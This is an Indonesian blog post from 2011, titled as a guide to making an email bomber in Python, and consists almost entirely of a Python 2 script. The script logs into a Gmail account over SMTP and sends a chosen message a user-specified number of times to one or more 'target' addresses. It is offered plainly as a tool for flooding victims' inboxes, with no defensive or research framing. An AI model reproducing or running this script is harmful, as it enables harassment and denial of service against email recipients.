16 April 2011

Membuat Email Bomber Dari Python

LISTING PROGRAM

import smtplib
import time

sent=0
chooise=raw_input("Would you like to more send? y/n: ")

if chooise=="y":
           username=raw_input("your gmail username: ")
           password=raw_input("your gmail password: ")
           print ("Connecting to server please wait...")
           smtpserver=smtplib.SMTP("smtp.gmail.com",587)
           smtpserver.ehlo()
           smtpserver.starttls()
           smtpserver.ehlo
           smtpserver.login(username,password)
           print("Connection succesfull")
           print('press enter to stop')
           elist=[]
           while True:
             targetxxx=raw_input('Target email: ')
             if len(targetxxx)==0:break
             elist.append(targetxxx)
             more_sent=input('how many emails to send: ')
             message=raw_input('youre messeage to target:')
           while sent <=more_sent:
             for targetxxx in elist:
                 smtpserver.sendmail(username,targetxxx,message)
                 print ("Sending emails")
                 sent+=1
                 print ("succesfull send")

elif chooise=="n":

         username=raw_input("your gmail username: ")
         password=raw_input("your password: ")
         smtpserver=smtplib.SMTP("smtp.gmail.com",587)
         smtpserver.ehlo()
         smtpserver.starttls()
         smtpserver.ehlo
         smtpserver.login(username,password)
         print("Connect to server succesfull")
         targetxxx=raw_input("enter target E-mail: ")
         message=raw_input("Please enter a message: ")
         more_Sent=input("How many messages to send?: ")
         for i in xrange(more_Sent + 1):
             smtpserver.sendmail(username,targetxxx,message)
         print "Sent to %s %d emails." % (targetxxx,more_Sent)
         send= more_Sent + 1
         print "was sent succesfull"
         time.sleep(1)
else:
         print "Please choose y or n"

0 komentar:

Posting Komentar